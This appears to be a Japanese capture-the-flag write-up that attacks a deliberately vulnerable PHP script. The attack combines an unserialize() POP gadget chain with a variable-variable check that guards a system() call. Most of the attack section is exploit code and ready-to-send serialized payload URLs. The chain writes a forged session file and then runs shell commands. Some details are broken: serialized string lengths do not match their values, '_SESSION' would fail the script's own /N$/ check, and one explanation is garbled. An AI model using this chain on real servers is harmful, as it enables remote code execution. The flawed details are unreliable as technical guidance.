ソースコード構造の解析
出題されたPHPスクリプトは、ユーザー入力をunserialize()で復元した後に条件分岐を行う設計になっています。セキュリティホールを特定するには、魔术メソッドの呼び出し順序と動的変数展開の仕組みを理解する必要があります。
<?php
// 属性参照時に内部ルーティングをトリガーするクラス
class RouteHandler {
public function __get($property) {
$this->executor->activate();
}
}
// オブジェクト破棄時にチェーンを発動し、初期化時フックで防御を試みるクラス
class Orchestrator {
public function __destruct() {
$this->target->process();
}
public function __wakeup() {
$this->target = null;
$this->executor = null;
}
}
// ファイル出力ロジックを内包するクラス
class DataWriter {
public function activate() {
// 未定義プロパティ参照により __get を再帰的に呼出す
$this->internalBuffer;
}
public function __get($property) {
if (preg_match('/\.|\.php/', $this->targetPath)) {
die('Invalid path detected.');
}
file_put_contents($this->targetPath, base64_decode($this->payloadData));
}
}
// コールバック実行機能を備えるクラス
class ActionInvoker {
public function activate() {
call_user_func($this->callbackMethod);
}
}
// --- メインロジック ---
if (isset($_GET['chain_payload'])) {
unserialize($_GET['chain_payload']);
// 末尾が N のパラメータのみ抽出
if (preg_match('/N$/', $_GET['mode_flag'])) {
$mode_var = $_GET['mode_flag'];
}
} else {
show_source(__FILE__);
phpinfo();
}
// 動的変数展開による比較チェック
if ($$mode_var['status_code'] === 'challenge_success!') {
echo 'Access Granted.';
system($_GET['cmd_exec']);
}
?
脆弱性フローの特定
Orchestrator::__destructで$this->target->process()が実行される$this->targetにRouteHandlerを設定すると、process()の存在しないメソッド名(ここではprocessだが実際はprocess` をトリガーせず、__get` を経由させる構成にする)によりRouteHandler::__getが発火DataWriterのactivate()から未定義プロパティ$internalBufferへのアクセスで再び__getが呼ばれ、file_put_contents()によるファイル書き込みが可能- 最終判定部では
$$mode_var['status_code']という擬似変数参照が存在するため、mode_flag=_SESSIONを渡すことでセッションファイル内のデータを直接比較値として利用できる
攻撃チェーンの構築:第1フェーズ(セッションファイルの注入)
まずは環境から取得したセッション保管パス(例: /var/lib/php/sessions/)とハンドラ情報を用いて、条件分岐をパスするための文字列を含むセッションファイルを生成します。__wakeup でターゲットオブジェクトがnullに上書きされるため、オブジェクト参照(リファレンス)を保持することで回避します。
<?php
class RouteHandler { public function __get($k) { $this->executor->activate(); } }
class Orchestrator {
public function __destruct() { $this->target->process(); }
public function __wakeup() { $this->target = null; $this->executor = null; }
}
class DataWriter {
public function activate() { $this->buffer; }
public function __get($k) {
if(preg_match('/\.|\.php/', $this->targetPath)) die('Blocked');
file_put_contents($this->targetPath, base64_decode($this->payloadData));
}
}
class ActionInvoker { public function activate() { $this->callbackMethod(); } }
$orch = new Orchestrator();
$route = new RouteHandler();
$writer = new DataWriter();
$action = new ActionInvoker();
// チェーン接続
$orch->executor = $route;
$route->executor = $writer;
// __wakeup 回避のため自身への参照を設定
$orch->target = &$orch->executor;
// 書き込み先とペイロードの準備
$writer->targetPath = '/var/lib/php/sessions/sess_attacker';
$writer->payloadData = 'c3RhdHVzX2NvZGV8czoxNToiY2hhbGxlbmdlX3N1Y2Nlc3MhIjs=';
// 意味: status_code|s:15:"challenge_success!";
echo serialize($orch);
?
生成されたシリアライズ文字列を以下のように送信します。
?chain_payload=O:12:"Orchestrator":3:{s:8:"executor";O:12:"RouteHandler":1:{s:8:"executor";O:9:"DataWriter":2:{s:10:"targetPath";s:33:"/var/lib/php/sessions/sess_attacker";s:12:"payloadData";s:47:"c3RhdHVzX2NvZGV8czoxNToiY2hhbGxlbmdlX3N1Y2Nlc3MhIjs=";}}s:6:"target";R:5;s:8:"executor";N;}
攻撃チェーンの構築:第2フェーズ(セッション読込とコマンド実行)
生成したセッションファイルを読み込み、条件節を通過させて system() を起動します。この際、ActionInvoker の activate() を経由して session_start() をコールバックとして登録します。
<?php
// クラス定義は省略(前項と同一)
$orch = new Orchestrator();
$route = new RouteHandler();
$invoker = new ActionInvoker();
$orch->executor = $route;
$route->executor = $invoker;
$orch->target = &$orch->executor;
// セッション読み込みをトリガー
$invoker->callbackMethod = 'session_start';
echo serialize($orch);
?
対応するリクエストURLは以下のようになります。
?chain_payload=O:12:"Orchestrator":3:{s:8:"executor";O:12:"RouteHandler":1:{s:8:"executor";O:12:"ActionInvoker":1:{s:14:"callbackMethod";s:13:"session_start";}}s:6:"target";R:5;s:8:"executor";N;}&mode_flag=_SESSION&cmd_exec=id
パラメータ解釈の流れ:
mode_flag=_SESSION→$mode_varに代入され、最終チェックで$$mode_varは$_SESSIONとして展開される- 先に登録したセッションファイルには
status_code|s:15:"challenge_success!";が記録されており、session_start()実行直後にメモリ上に復元される $_SESSION['status_code'] === 'challenge_success!'の条件を満たすと、以降のsystem()ブロックが正常実行される
クッキーヘッダーには PHPSESSID=attacker を設定することで、セッション識別子と保存ファイルを一致させます。